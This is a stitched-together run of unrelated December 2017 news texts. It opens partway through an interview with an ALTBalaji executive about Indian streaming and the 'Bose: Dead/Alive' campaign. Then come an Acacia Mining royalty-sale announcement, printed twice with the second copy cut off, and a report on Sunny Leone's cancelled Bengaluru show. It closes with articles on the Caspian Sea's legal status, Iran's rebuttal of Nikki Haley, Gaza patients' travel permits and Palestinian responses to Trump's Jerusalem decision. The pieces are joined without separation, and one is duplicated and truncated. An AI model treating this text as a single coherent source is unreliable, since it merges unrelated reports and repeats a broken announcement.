Our focus is very clear  we will continue to produce original shows in 2018. Netflix has announced at a global level that it will create 1,000 hours of original content this year itself. We as an industry or as a country dont produce 1,000 hours of original shows, but here the idea is that we would want to grab as many stories across not only Hindi but regional languages like Tamil, Telugu, Kannada, Gujarati, Punjabi, Marathi, etc., as well. We are also looking at Bhojpuri language. We have about 50 shows and concepts at various stages of development right now and our focus will be to launch those in times to come.

What are the content trends that you foresee in the OTT space going forward?

What we have seen so far is that if the content is compelling enough, people are ready to watch it on streaming, whereas earlier people only used to watch it on Wi-Fi. Our analysis shows that people have started consuming the shows on the move and it is not that they are consuming at a particular location through Wi-Fi. People are watching within 24 hours of the show going live and also consuming all the episodes at one go. ALTBalaji has changed the notion that India doesnt pay for content, in fact India is paying for content. It all depends on what you are selling. That is a very strong notion that ALTBalaji has broken.

What are the technological advancement expected in 2018?

From the technological standpoint, there is a lot of data that we as platform and others are creating. The technology will be used in creating such options which will make the entire consumption experience more compelling. It will make recommendation engine more brilliant and high predictable. A mass shift is seen with TV viewing on the decline, even as online viewing is growing at 100-200 per cent per year. So, both from an advertisers standpoint and from consumption standpoint there is a lot of data which will come out in the open and this will allow them to reach the core TG that they have been wanting to reach.

What new tie-ups can we expect in 2018?

We are open for collaborations, provided one has the strength to execute, and when I say execution, it means to create, write, production, etc. So, we are always open to those areas of collaboration.

What are your plans around regional content?

We have already launched regional comedy, we have launched a show in Tamil and are also looking at all the languages mentioned earlier (Tamil, Telugu, Kannada, Gujarati, Punjabi, Marathi). The important point is how does a company, which comprises a small team of 70 people and is based out of Fun Republic, Andheri, launches a global platform specialising in 80 countries and is also Indias first ad free subscription platform taking head on all its competitors having big networks and large budgets.

The making & marketing of Bose: Dead/Alive

What was your marketing strategy for Bose: Dead/Alive?

We are very careful about how we spend our money. We dont have the luxury of huge budgets like other OTT platforms. We had less than Rs 5 crore to spend and so it was very important to look at how we spent our last penny. About 70 per cent of the total budget was allocated for digital. Its not like we went ahead and bought all the site takeovers, we were very clear on how we were going to spend even that. So, we identified affinity segments based on language, which was largely Hindi, English and Bengali. We then created geographical segments because we realised that for a show like this, which has a story that has not been told earlier, the top 10 metros or last 10 metros would play a role. We created multiple creatives of the show across multiple platforms. We built that with very smart social media and innovative PR strategy.

It also helped that Republic TV did a 30-minute episode on Bose and why the story was so important and what all had been the key ingredients in creating the story. We had Rajkummar Rao tweeting and inviting Prime Minister Narendra Modi for the screening. This created huge awareness and buzz on the launch of the show. We had focuses primarily on digital, followed by rest of the media platforms. The campaign continued for three weeks campaign, where we focused more on the show rather than the platform.

Who have partnered with you for the campaign?

For digital, we have worked very closely with an agency called Sokrati, which is a part of Dentsu. Lodestar UM is our media agency, while Whiteriver Digital (WRD) is our social agency. These are the three agencies that have worked very closely and are behind the success and the buzz that has been created.

How have you worked on making Bose: Dead/Alive more acceptable or connect with the youth of today?

A lot of research. We spent about 18 months on research and another 6 months on the script. Some part of the writing and research also overlaps. We were very careful as the topic itself is so sensitive and so close to every Indians heart. There is not a lot of material out in the open, so you have to look at what all secondary material you have. Fortunately, when we started to work on it, we realised that Prime Minister Modi had called for declassifying Boses files which were hitherto not available to the public. We worked very hard on the show to bring out the authenticity and not just shoot it in studios and sets. The team travelled to Poland, Thailand, Leh, Kolkata and Mumbai. Before this no show of Indian origin had been shot outside the country, and thus a lot of investment has gone into the making of the show. When you read the tweets, a lot of people after watching the show have commented that this is the first time that a Netflix-type quality show has come out from India.
19 December 2017

THIS ANNOUNCEMENT CONTAINS INSIDE INFORMATION

Acacia Mining plc

(Acacia or the Company or the Group)

Sale of Non-Core Asset for Consideration of US$45 million

Acacia is pleased to announce that it has agreed to divest a non-core royalty over the Hounde Mine in Burkina Faso for total consideration of US$45 million. The existing 2% net smelter royalty has been owned by Acacia and its predecessor companies since 2010. Following a competitive process the royalty has been purchased by Sandstorm Gold Ltd, a TSX- and NYSE-listed company.

Acacias decision to dispose of this royalty follows the announcement of commercial production at the mine in October and is consistent with our disciplined approach to capital allocation. The transaction is expected to close in early Q1 2018 and, together with the measures taken at both Bulyanhulu and Buzwagi to reduce cash outflows, will provide further strength to our balance sheet.

ENQUIRIES

For further information, please visit our website: http://www.acaciamining.com/ or contact:

Acacia Mining plc +44 (0) 20 7129 7150

Giles Blackham, Investor Relations

Camarco +44 (0) 20 3757 4980

Gordon Poole / Billy Clegg / Nick Hennis

About Acacia Mining plc

Acacia Mining plc (LSE:ACA) is Tanzanias largest gold miner and one of the largest producers of gold in Africa. We have three mines, all located in north-west Tanzania: Bulyanhulu, Buzwagi, and North Mara and a portfolio of exploration projects in Kenya, Burkina Faso and Mali.

Acacia is a UK public company headquartered in London. We are listed on the Main Market of the London Stock Exchange with a secondary listing on the Dar es Salaam Stock Exchange. Barrick Gold Corporation is our majority shareholder. Acacia reports in US dollars and in accordance with IFRS as adopted by the European Union, unless otherwise stated in this announcement.

Disclaimer and forward-looking statements

This announcement is for information purposes only and does not constitute an invitation or offer to underwrite, subscribe for or otherwise acquire or dispose of any securities of Acacia in any jurisdiction.

This announcement includes forward-looking statements that express or imply expectations of future events or results as opposed to historical facts. These statements include, financial projections and estimates and their underlying assumptions, statements regarding plans, objectives and expectations with respect to future production, operations, costs, projects, and statements regarding future performance. Forward-looking statements are generally identified by the words plans, expects, anticipates, believes, intends, estimates and other similar expressions.

All forward-looking statements involve a number of risks, uncertainties and other factors, many of which are beyond the control of Acacia, which could cause actual results and developments to differ materially from those expressed in, or implied by, the forward-looking statements contained herein. Factors that could cause or contribute to differences between the actual results, performance and achievements of Acacia include, but are not limited to, changes or developments in political, economic or business conditions or national or local legislation or regulation in countries in which Acacia conducts - or may in the future conduct - business, industry trends, competition, fluctuations in the spot and forward price of gold or certain other commodity prices (such as copper and diesel), currency fluctuations (including the US dollar, South African rand, Kenyan shilling and Tanzanian shilling exchange rates), Acacias ability to successfully integrate acquisitions, Acacias ability to recover its reserves or develop new reserves, including its ability to convert its resources into reserves and its mineral potential into resources or reserves, and to process its mineral reserves successfully and in a timely manner, Acacias ability to complete land acquisitions required to support its mining activities, operational or technical difficulties which may occur in the context of mining activities, delays and technical challenges associated with the completion of projects, risk of trespass, theft and vandalism, changes in Acacias business strategy and ongoing implementation of operational reviews, as well as risks and hazards associated with the business of mineral exploration, development, mining and production and risks and factors affecting the gold mining industry in general.

Although Acacias management believes that the expectations reflected in such forward-looking statements are reasonable, Acacia cannot give assurances that such statements will prove to be correct. Accordingly, investors should not place reliance on forward-looking statements contained in this announcement. Any forward-looking statements in this announcement only reflect information available at the time of preparation. Save as required under the Market Abuse Regulation or otherwise as may be required under applicable law, Acacia explicitly disclaims any obligation or undertaking publicly to update or revise any forward-looking statements in this announcement, whether as a result of new information, future events or otherwise. Nothing in this announcement should be construed as a profit forecast or estimate and no statement made should be interpreted to mean that Acacias profits or earnings per share for any future period will necessarily match or exceed its historical published profits or earnings per share.

19 December 2017

THIS ANNOUNCEMENT CONTAINS INSIDE INFORMATION

Acacia Mining plc

(Acacia or the Company or the Group)

Sale of Non-Core Asset for Consideration of US$45 million

Acacia is pleased to announce that it has agreed to divest a non-core royalty over the Hounde Mine in Burkina Faso for total consideration of US$45 million. The existing 2% net smelter royalty has been owned by Acacia and its predecessor companies since 2010. Following a competitive process the royalty has been purchased by Sandstorm Gold Ltd, a TSX- and NYSE-listed company.

Acacias decision to dispose of this royalty follows the announcement of commercial production at the mine in October and is consistent with our disciplined approach to capital allocation. The transaction is expected to close in early Q1 2018 and, together with the measures taken at both Bulyanhulu and Buzwagi to reduce cash outflows, will provide further strength to our balance sheet.

ENQUIRIES

For further information, please visit our website: http://www.acaciamining.com/ or contact:

Acacia Mining plc +44 (0) 20 7129 7150

Giles Blackham, Investor Relations

Camarco +44 (0) 20 3757 4980

Gordon Poole / Billy Clegg / Nick Hennis

About Acacia Mining plc

Acacia Mining plc (LSE:ACA) is Tanzanias largest gold miner and one of the largest producers of gold in Africa. We have three mines, all located in north-west Tanzania: Bulyanhulu, Buzwagi, and North Mara and a portfolio of exploration projects in Kenya, Burkina Faso and Mali.

Acacia is a UK public company headquartered in London. We are listed on the Main Market of the London Stock Exchange with a secondary listing on the Dar es Salaam Stock Exchange. Barrick Gold Corporation is our majority shareholder. Acacia reports in US dollars and in accordance with IFRS as adopted by the European Union, unless otherwise stated in this announcement.

Disclaimer and forward-looking statements

This announcement is for information purposes only and does not constitute an invitation or offer to underwrite, subscribe for or otherwise acquire or dispose of any securities of Acacia in any jurisdiction.

This announcement includes forward-looking statements that express or imply expectations of future events or results as opposed to historical facts. These statements include, financial projections and estimates and their underlying assumptions, statements regarding plans, objectives and expectations with respect to future production, operations, costs, projects, and statements regarding future performance. Forward-looking statements are generally identified by the words plans, expects, anticipates, believes, intends, estimates and other similar expressions.

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Sunny Leone is not attending the New Year bash in Bengaluru after the city police said that they could not ensure her safety and that of her team.

By India Today Web Desk: Actress Sunny Leone will not appear for the New Year bash in Bengaluru thanks to a cocktail of mob threat, police inaction and political chicanery. She was to perform at a New Year party with Kannada DJs, rappers and other local musicians.

Not after the Bengaluru Police capitulated before a chauvinist fringe group.

"Since the police of Bangalore have publicly said that they will not be able to ensure mine (sic) and all who attend safety for my New Years event, my team and I feel, safety of the people should always come first therefore I cannot attend.God bless and I wish everyone a safe and happy New Year!" Sunny Leone tweeted.

Since the police of Bangalore have publicly said that they will not be able to ensure mine & all who attend safety for my New Years event,my team & I feel,safety of the people should always come first therefore I cannot attend.God bless & I wish everyone a safe & happy New Year!- Sunny Leone (@SunnyLeone) December 19, 2017

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She was graceful, even to those who threatened her and used disgraceful words against her.

"To all those who protested and to all those who supported, always remember, never allow others to speak and choose for you.Have your own voice and make your own choices. You are the youth and you are the NEW INDIA! Stand Proud and Stand together. I love you all dearly!" she wrote on Twitter on Tuesday evening.

To all those who protested and to all those who supported, always remember,never allow others to speak and choose for you.Have your own voice and make your own choices. You are the youth and you are the NEW INDIA! Stand Proud and Stand together. I love you all dearly!- Sunny Leone (@SunnyLeone) December 19, 2017

Members of Karnataka Rakshana Vedike Yuva Sene had threatened to commit mass suicide if she was part of the New Year party. The Yuva Sene's president Harish had said that Sunny "does not have a good past" and her presence at the New Year's Eve party would be an assault on the culture of the land.

Sunny has a pornographic past. She has moved on. Some people have not. So, the organisers had to clarify that the event would be a "family-type programme" and would have Sunny dancing to a Kannada song.

The Bengaluru Police didn't say a word and when it did, it said it couldn't provide security to those attending. Such admission of inability was clearly on orders from above.

"I have instructed (authorities) not to allow such events. Don't bring her (Sunny Leone) here. People are opposed to the event. Let them (organisers) organise events related to Kannada culture and literature, which is our heritage," Karnataka Home Minister Ramalinga Reddy told PTI.

Yuva Sene's Harish was elated. "It is a victory for us. Government has cancelled the programme. Had it happened here, we would have brought activists from 20 districts to Bengaluru and held a mega protest here," he told PTI.

The organisers, TimeCreations went to court. It said that pending police permission, they were unable to forward requests and submit necessary clearances to various authorities, including city civic body Bruhat Bengaluru Mahanagara Palike and the fire department.

The firm's proprietress HS Bhavya said in her petition that she had submitted a letter to police to permit the show. In her petition, Bhavya said that on December 16, police orally refused permission, but did not give it in writing.

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Due to this, every other arrangement and sanction ran into a problem, resulting in lenders asking the organisers to return their money, fearing the uncertainty, she submitted. The event was being organised at a cost of over Rs 2.5 crore, and application for permission was submitted on December 1. She was told a permission will be issued within four to five days pending police clearance.

Bhavya said the protestors were seemingly and going by police records, anti-social elements who often engage in acts of vandalism and unrest. "Their unfair threats and pressure should not be the driving force for the state police to take such unmindful decisions," she pleaded.

(With PTI inputs) ALSO WATCH: Sunny Leone's sexy moves

--- ENDS ---
December 18, 2017

Nearly three decades after the collapse of the Soviet Union and following 26 years of tough negotiations, a solution to the legal status of the Caspian Sea appears to be on the horizon.

Speaking after the recent summit of the Caspian Sea littoral states' foreign ministers in Moscow, Russian Foreign Minister Sergey Lavrov said, We have found solutions to all the remaining major issues related to the preparation of this document [draft Convention on the Legal Status of the Caspian Sea]. The text of the meeting is actually ready, although he provided no further details.

Neither Iranian Foreign Minister Mohammad Javad Zarif nor his Azerbaijani, Kazakh and Turkmen counterparts have confirmed Lavrovs statement. However, two senior Iranian diplomats rejected the notion that the demarcation of the Caspian Sea was discussed at the summit in Moscow.

Foreign Ministry spokesman Bahram Qassemi said, The issue of demarcation was not even on the agenda of the meeting, while Deputy Foreign Minister for Asia-Pacific Affairs Ebrahim Rahimpour said, We still havent reached an agreement over the division, especially with the two neighboring countries of Turkmenistan and Azerbaijan.

After the collapse of the Soviet Union, the three newly independent republics of Azerbaijan, Turkmenistan and Kazakhstan emerged as states along the Caspian coast. Under the new arrangement, Kazakhstan and Russia have been sharing the northern section of the sea, while Iran has been sharing the southern part with Azerbaijan and Turkmenistan.

Use of the term sea in reference to the Caspian can cause confusion as it implies that it is no different from the Black or Baltic seas. The Caspian is landlocked and thus the worlds largest lake. From a legal point of view, the determination of whether the Caspian is a sea or a lake can have a significant impact on the regulations concerning it.

For instance, while the coastal states agreed in the Alma-Ata Declaration of 1991 to recognize the Caspian as a lake, Kazakhstan four years later stated that from a legal point of view, it considers it a sea. The implication of the latter would be that the UN Convention on the Law of the Sea would apply to it. However, there has been no agreement to date among the coastal states on whether the UN convention governs the Caspian, which could impact the reaching of a final agreement.

Given these challenges, in terms of international law, the matter of the delimitation of the Caspian is a "sui generis" case and thus needs an exclusive legal regime, i.e., a framework of rules governing its legal status. The stakes are high: After Irans border disagreements with Iraq in the 1970s, it is the biggest challenge for Iranian sovereignty over the past four decades.

According to the UN convention, a sea or lake surrounded by two or more countries is considered a closed sea if no waterway gives it access to open waters and thus falls under the following legalities:

Freedom of sailing activities and the principle of innocent passage do not apply to closed seas.

Governing legalities over such bodies of water and designation of borderlines come from an agreement between all surrounding countries.

Coastal countries have exclusive rights over fishing and resources.

Coastal countries have exclusive rights to govern those waters, including the right to legislation.

Among the five Caspian states, Kazakhstan and Azerbaijan support the enforcement of the UN convention. But Russia and Iran  two countries with a long and historical right in the Caspian  strongly disagree with the idea of the presence of third-party countries' presence, including military presence, in the region.

Russia is of the view that the 1921 and 1940 agreements between Iran and the Soviet Union could be extended to leverage new potential agreements. It also emphasizes that the Caspian is an indivisible body of water and ecosystem, and that its resources belong to all five coastal states. As such, any exploitation of its resources should only be allowed by multilateral agreement between all parties.

No legislative regime over lakes has ever been developed by the International Court of Justice, which makes the case of the Caspian unique from this aspect as well.

Some governments and international lawyers have made efforts to establish regulations for inland waters. For instance, international common practice posits that lakes surrounded by more than one country should be governed by agreements between the countries. In this vein, there are three major common practice systems: full division, equal division and condominium. Iran has added a legal solution to these methods: acting based on the principle of fairness.

Soon after the dissolution of the Soviet Union, Iran was pursuing an equally shared system of use for the Caspian Sea. In this pursuit, Tehrans main objective was to reinforce previous agreements with Moscow, insisting that a condominium regime should apply and disputing exploitation of resources by any individual party. Following changes in the posture of the Iranian government and also changes of position among coastal countries, Iran eventually accepted the idea of dividing exploitation rights between the five countries.

The presidents of the coastal states agreed in their summit in Astrakhan in September 2014 on the scope of territorial waters (15 nautical miles) and exclusive fishing zones (10 nautical miles). But other important issues, such as the seabed status and shares of underwater resources, remain unclear.

Indeed, Irans position is not limited to pursuit of a fair mechanism to share the seabed, but also the rich subterranean resources  for all five countries. This will give about a 20% share of seabed to Iran instead of up to 13%, which was suggested in the Russian proposal. None of the coastal states have so far endorsed the Iranian position. A major stumbling block thus remains, and it remains unclear whether there has been acquiescence to Tehrans proposal or whether something new that is mutually acceptable has been put on the table.

For now, the expectation is that a draft of an agreement on a new legal regime for the Caspian Sea will be finalized at the next summit of the leaders of the coastal states, which will reportedly be held in Kazakhstan in early 2018.

If the text is finalized, it will need to be approved by the Iranian parliament and endorsed by the Guardian Council before Iran can enter a new Caspian Sea legal regime. Implementing the potential agreement would resolve the biggest legal challenge over the largest landlocked sea in the world after nearly three decades.
December 18, 2017

On Dec. 14, Nikki Haley, the US ambassador to the United Nations, gave a speech from a US military base in Washington standing in front of what she claimed was an Iranian missile delivered to Houthi rebels in Yemen. Haley claimed that the delivery of such weapons violated a 2015 United Nations Security Council resolution, vowing stronger action against Tehran. While most experts were skeptical of Haleys claims, Iran was dismissive and answered back about US actions in Yemen.

Ali Akbar Velayati, foreign policy adviser to Supreme Leader Ayatollah Ali Khamenei, joked at a Dec. 17 press conference, I dont know if this lady who is Americas representative at the UN is an international specialist or missile specialist. He continued, She showed something and said the Iranians had done it. This is just a claim and it shows that this individual does not have the minimum scientific information.

Velayati added, Like President Trump, they make baseless and ridiculous comments. The Islamic Republic under no conditions has given missiles to Yemen.

Brig. Gen. Ramazan Sharif, spokesman for the Islamic Revolutionary Guard Corps, said Dec. 17, Its been three years that Saudi Arabia has been dropping bombs on the people of Yemen and all the weapons are coming from the US and Europe. But the US representative shows one pipe and says it has the fingerprints of the Iranians on it while everyone knows that Yemen has considerable missile equipment from the Soviet Union and North Korea and has been known for its missiles in the region.

Sharif viewed Haleys comments as a strategy to make uninterrupted accusations in order to not leave a suitable time to respond and not give public opinion adequate time to ask questions about the accusations. Sharif said that immediately after the defeat of the Islamic State, US President Donald Trump recognized Jerusalem as Israels capital and then Haley made her accusations. Sharif predicted that every day they will present a new topic in order to continue their media campaign.

Irans foreign minister, Mohammad Javad Zarif, tweeted a picture of Nikki Haley standing in front of the missile juxtaposed with an infamous picture of former Secretary of State Colin Powell holding a vial during a 2003 speech at the UN making the case for the Iraq war. Zarifs tweet was accompanied with the caption, When I was at the UN, I saw this show and what it begat ... Zarif was Irans ambassador to the UN from 2002 to 2007.

Zarif also tweeted a link to Irans Foreign Ministry website, which released an English-language report on Yemen titled A refutation of alternative evidence. Case Study: Yemen. The report outlines Saudi, US and UAE actions since the fighting there began in 2015. The report also claims that Yemenis are capable of tweaking or assembling their own missiles and that no missiles have entered Yemen via blockaded ports. The report also says neither the United States nor Saudi Arabia have given information as to when the alleged Iranian weapons were delivered or when they would have been used. Since the UN resolution passed in 2015, it would only be a violation if the missiles were delivered after that time.
December 15, 2017

The decadelong Israeli blockade of the Gaza Strip has taken a toll on every aspect of life in the besieged enclave, including health.

Haaretz newspaper revealed in a Dec. 1 article that Israel continues to prevent patients from the Gaza Strip from traveling through the Beit Hanoun crossing in the northern Gaza Strip to receive treatment in hospitals in the West Bank, Jerusalem and Israel. The article noted that 20 critically ill patients died in 2017 in Gaza after their application for an Israeli exit permit to receive medical treatment was not granted in time.

Bassem Abu Jari, a field worker for Al Mezan Center for Human Rights in Gaza, told Al-Monitor, The conditions of patients in Gaza are seriously deteriorating due to the Israeli restrictions and orders denying them access to hospitals outside the Gaza Strip. Israel is well aware that hospitals in Gaza are incapable of dealing with critical cases, but these patients' attempts to reach hospitals outside the enclave are blocked. Israel is not granting them permits to pass through the Beit Hanoun crossing in the northern Gaza Strip even after they've submitted medical reports.

Maj. Gen. Yoav Mordechai, Israel's Coordinator of Government Activities in the Territories, told Haaretz that since the beginning of 2017, Israeli authorities have issued more than 22,000 medical treatment permits for patients in Gaza.

According to the latest statistics from the Palestinian Ministry of Health in February, the cancer rate in the Palestinian territories stands at almost 84 for every 100,000 persons.

Ashraf al-Qadra, a spokesman for the Palestinian Ministry of Health, told Al-Monitor, This year Israel has further tightened its measures against patients in the Gaza Strip and their chaperones who want to travel abroad for treatment not available inside the Gaza Strip, especially cancer patients.

He noted that medical providers in the Gaza Strip do not offer radiation therapy, certain medicinal treatments or nuclear scans required for treatment. Patients with blood diseases and children born with congenital defects must also look outside the Strip for help.

Israel has refused the application for travel permits of 55% of the patients without giving any reasons, and even arrested some of them, Qadra added.

Haaretz quoted the Shin Bet as saying, Over the past year, we have seen an increase in the practice whereby terrorist organizations, headed by Hamas, exploit the departure of Gaza residents (including for medical treatment) to promote terrorist activity.  Given the great danger this activity presents, strict security checks are performed on everyone applying to leave Gaza. Naturally, these checks take time, and efforts are constantly being made to reduce that time and prioritize the handling of all entry applications, with an emphasis on humanitarian applications whose subject is entering Israel to receive life-saving medical treatment.

Kholoud al-Saideni, 36, from Al-Bureij refugee camp in the central Gaza Strip, is a wheelchair-dependent cancer patient. She died on March 13 after refusing to cooperate with Israeli intelligence services in exchange for a travel permit to get treated outside Gaza.

Islam Shahwan, a professor of security studies at Al-Awda University College in Gaza, told Al-Monitor, Patients in the Gaza Strip wishing to travel through the Beit Hanoun crossing are pressured into cooperating with Israeli intelligence. Some have caved. He explained, Shin Bet agents often ask patients to provide information about armed Palestinian activists or to transfer money or deliver encrypted messages to agents inside Gaza.

Jihan (a pseudonym), 37, is a cancer patient. She told Al-Monitor that in August, she had received a medical referral from the Palestinian Ministry of Health stating that she was in need of treatment at the Jerusalem hospital.

She said, In late September, however, the Israeli authorities prevented me from crossing at Beit Hanoun. After insisting on knowing why, I was referred to an Israeli intelligence officer who told me my permit was refused  without giving any justification.

In January, Physicians for Human Rights - Israel (PHRI) noted, Between January-December 2016, PHRI received 69 requests for help from cancer patients in need of medical treatment, compared with a total of 48 requests by cancer patients in all of 2015 and 23 requests in 2014.

In November 2015, the Israeli authorities raised the age of chaperones accompanying Palestinian patients to 55.

Fadel al-Muzaini, a researcher at the Palestinian Center for Human Rights in Gaza, told Al-Monitor that the center recently lodged complaints with the Israeli Supreme Court against the measures against Gaza patients, to no avail.

In a Dec. 11 report, the center said Israel has prevented some 9,100 patients out of 19,500 from the Gaza Strip from traveling for treatment in hospitals in Israel, the West Bank and Jerusalem since the beginning of September. Between 2008 and 2016, Israel prevented 29,000 out of 128,000 Gaza patients from being treated abroad in Israel, the West Bank and Jerusalem.

The slow transfer of patients delays their urgent surgical operations. Some permits take six months to be issued, and patients may die before getting a permit, Muzaini noted.

An official in the Palestinian Ministry of Civil Affairs told Al-Monitor on condition of anonymity that the security reasons invoked by Israel to prevent patients from leaving Gaza are unconvincing.

After interventions by human rights organizations, Israel grants permits to some patients who had seen their applications refused. The real reason behind these measures is the Israeli policy to keep Palestinians from Gaza away from Israel and the West Bank, the official said.
December 19, 2017

RAMALLAH, West Bank  The Palestinian leadership  represented by the PLO Executive Committee, Fatah Central Committee, the heads of security services in the West Bank and the secretaries of the Palestinian factions  held Dec. 18 the first meeting to discuss an appropriate response to US President Donald Trump's Jerusalem decision at the presidential headquarters in the West Bank city of Ramallah. On Dec. 6, Trump recognized Jerusalem as the capital of Israel and announced the transfer of the US Embassy from Tel Aviv.

In his speech at the opening of the meeting  12 days after Trump's decision  President Mahmoud Abbas announced that Palestine has ratified 22 international conventions and treaties in a bid to strengthen the Palestinian state legal personality. He also announced that the Palestinian Authority (PA) will no longer accept the US peace process mediation and that Palestine will seek full membership at the United Nations. Abbas also declared his intention to take political and diplomatic action against Trump's decision, without elaborating on the details.

In his speech at the meeting, Abbas reiterated the main points raised in a joint press conference Dec. 13 with his Turkish counterpart Recep Tayyip Erdogan following the urgent summit of the Organization of Islamic Cooperation (OIC) held in Istanbul. At the conference, Abbas asserted that he will resort to the UN Security Council to nullify Trumps declaration and also said that he will seek full membership for Palestine at the United Nations.

So far, Abbas has been adopting a policy of deliberation in responding to Trump's decision. To this moment  except for signing the 22 treaties and refusing to receive US Vice President Mike Pence  the official Palestinian response to the US Jerusalem decision remains a mere statement of measures and decisions to be taken, which have yet to materialize.

Speaking at the OIC summit in Istanbul  where East Jerusalem was recognized as the capital of Palestine  Abbas insinuated that Palestine would break its commitment to agreements signed with Israel, mainly the Oslo Accord.

We cannot remain an authority without power and under occupation without cost. This calls for a re-evaluation of the situation through our Palestinian frameworks and consultations with brothers and friends  , Abbas said.

Meanwhile, the Palestinian leadership is set to await the outcomes of Abbas consultation with brothers and friends to see the decisions that will be taken. But Abbas has yet to call for a meeting of the PLO Executive Committee or its Central Council  the Palestinian main legislative body  or even the Fatah Central Committee, to discuss options for response.

It seems that Abbas took his time before calling for a meeting of the Palestinian leadership on Jerusalem in order to study the opinions and positions of Arab and Islamic states. Abbas began an Arab tour on Dec. 7, during which he visited Jordanian King Abdullah II in Amman and his Egyptian counterpart Abdel Fattah al-Sisi on Dec. 11, before participating in the OIC summit in Istanbul on Dec. 13.

Abbas had sought to determine the shape of the Arab position demanded by the Palestinians, albeit indirectly, in a speech delivered on his behalf by Palestinian Minister of Foreign Affairs Riyad al-Maliki at the pan-Arab parliament emergency session on Dec. 11. The speech called on Arab countries to sever diplomatic ties with Washington, close US embassies, expel US ambassadors and boycott American products.

The Palestinian decisions to be taken will be mainly based on Arab and Islamic positions regarding the relations with Israel and the United States. Ahmad al-Majdalani, a member of the PLO Executive Committee and a close associate of Abbas, told Al-Monitor. We are trying to mobilize an Arab position that adopts our vision of finding credible international sponsorship of the peace process instead of the United States, in accordance with a new international formula involving international parties concerned in the political process. We will be joining more international organizations, conventions and treaties to strengthen the status of Palestine in the world.

Majdalani asserted that the PLO Executive Committee and the Central Council will hold meetings in the coming days to carry out a comprehensive assessment of the political process and the relationship with the United States and Israel.

Whatever the decisions taken by the PLO Central Council  which are binding on the Executive Committee  it is not clear how much Abbas is committed to implementing them, based on past experiences. Back in March 2015, the PLO Central Council decided to stop security coordination with Israel, but the decision was not implemented, stirring uproar among numerous Palestinian factions.

The role of the PLO Executive Committee is being sidelined when it comes to dealing with the US decision about Jerusalem, and I blame President Abbas for that, said Taysir Khaled, a committee member. The Executive Committee should have been in constant session to follow up on the Trump decision, but that did not happen, he told Al-Monitor.

Although the response options available to the Palestinian leadership are numerous, its ability to adopt any of them seems limited and weak. Abbas' foreign affairs adviser Nabil Shaath told Times of Israel news website in a telephone interview on Dec. 10, We are not cutting our relationship with America. We are protesting the move of Mr. Trump.

The PA had confirmed Dec. 9 that Abbas would not be meeting Pence, who had been planning to visit the region this month. Pence has now delayed his trip until January. However, the Palestinians maintained this did not necessarily mean cutting off all contacts with Washington. We still have a delegation in Washington. There are matters with which communication is still continuing. Communication about the peace process is interrupted, Shaath said.

Omar Shehadeh, a member of the PLO's Central Council, told Al-Monitor, The official Palestinian movement and the statements made by some officials reflect the extent of chaos and political turmoil and confirm the continued bet on the false negotiations and peace process.

Commenting on linking the Palestinian response to the Arab position, Shehadeh said, The Palestinian and Arab official position was clearly stated at the Arab foreign ministers [emergency] meeting, and it was a disappointing one.

He added, If the Arabs and Palestinians do not push for punitive measures against the United States and its interests, they might be seen as accomplices of [Trump] in his decision.

It is clear that the Executive Committee has grown incompetent and is no longer able to take a direct reaction to any event, writer and political analyst Jihad Harb told Al-Monitor. President Abbas is waiting for the crystallization of Arab and Islamic ideas as a green light for taking Palestinian decisions under the umbrella of the Arab nations that do not want to clash with the United States and Israel.

The Palestinian leadership seems to be reluctant in implementing its decisions in response to Trump's Jerusalem decision. It will not be heading for a full confrontation with the United States or Israel, nor will it depart from the Arab guardianship. But it will focus on political and diplomatic movements.

In a related development, on Dec. 19, Palestinian Foreign Minister Riyad al-Maliki announced that his country will call for a UN General Assembly emergency meeting after the US vetoed Dec. 18 a UN Security Council resolution on the status of Jerusalem.

Meanwhile, Palestinians waited for no one. Trumps Jerusalem announcement has sparked a wave of ongoing confrontations in the West Bank and the Gaza Strip between young Palestinians and the Israeli army.
December 19, 2017

GAZA CITY, Gaza Strip  US President Donald Trump's decision to recognize Jerusalem as the capital of Israel and move the US Embassy there has angered Palestinians who decided to seek a new sponsor for the peace process as a substitute for the United States, which they believe has lost the eligibility to sponsor the Middle East peace process because of Trumps controversial move.

Palestinian President Mahmoud Abbas said in a speech to the extraordinary summit of the Organization of Islamic Cooperation in Istanbul Dec. 13, Trumps announcement is a flagrant violation of international law and signed agreements. I reiterate our objection to this null decision with which the United States shocked us all. This was not the deal of the century, but rather the blow of the century. The United States has chosen to lose its eligibility as an intermediary, and we will not accept for it to have a role in the peace process because it has shown full bias to Israel.

Prior to Abbas speech, Palestinian Foreign Minister Riyad al-Maliki spoke at the Dec. 9 emergency meeting of Arab foreign ministers in Cairo, saying, Trump thought it would be easy to announce such a decision, which the entire world rejected. He justified his sin with religious heresy. He isolated himself and prevented his country from ever playing a role in the peace process again.

Meanwhile, member of the PLO Executive Committee Ahmed al-Majdalani told Al-Monitor that the Palestinian Authority (PA) can never again accept the US unilateral sponsorship of the peace process, as it showed bias to Israel in all its positions.

He said that the Palestinian leadership is discussing with Arab and some Western countries a new sponsor. He also noted that resorting to the Quartet on the Middle East could be an option after it expands and includes some Arab countries that wish to participate in that process.

Majdalani did not rule out the possibility of the PA undergoing major political and financial pressure. He pointed out that the US House of Representatives had unanimously approved the suspension of some financial aid to the PA under the pretext of the money going to the families of martyrs and prisoners, which the Palestinians believe is blackmail.

Abbas Zaki, a member of Fatahs Central Committee, told Al-Monitor that the Palestinians have several options to choose from to respond to Trumps decision. Abbas and all Palestinian officials refused to meet with US Vice President Mike Pence, who was scheduled to arrive in the Middle East Dec. 19 but postponed his visit until mid-January. This Palestinian move is the first step to keeping communication channels closed with the US administration until Trump withdraws his decision, in addition to seeking to join international organizations and resorting to field escalation against Israel and civil disobedience.

Zaki explained that the PA is well-aware that all these options come at a price, foremost of which is the cessation of financial support of the United States and some donor countries whose policies comply with US ones, noting that the PA is currently considering Arab and Islamic alternatives to fill any financial deficit resulting from the lack of US support.

On Dec. 5, the US House unanimously passed a bill known as the Taylor Force Act, to halt US financial aid to the PA, estimated at $300 million annually, unless the latter changes its laws to cease paying stipends to the families of Palestinian martyrs and prisoners.

Speaking to Al-Monitor, Naji Sharab, a professor of political science at Al-Azhar University in the Gaza Strip, said that finding an alternative to the United States to sponsor the peace process in the Middle East is impossible, especially since all parties that can fill this position originally play roles complementary to the US one, particularly the Quartet. The latter adopts the same policies as the United States, with the exception of the recognition of Jerusalem as the capital of Israel. Trump's decision may have lost the United States its role in the peace process, but we cannot find an alternative to the United States here, which is why the peace process could be frozen for years to come, he noted.

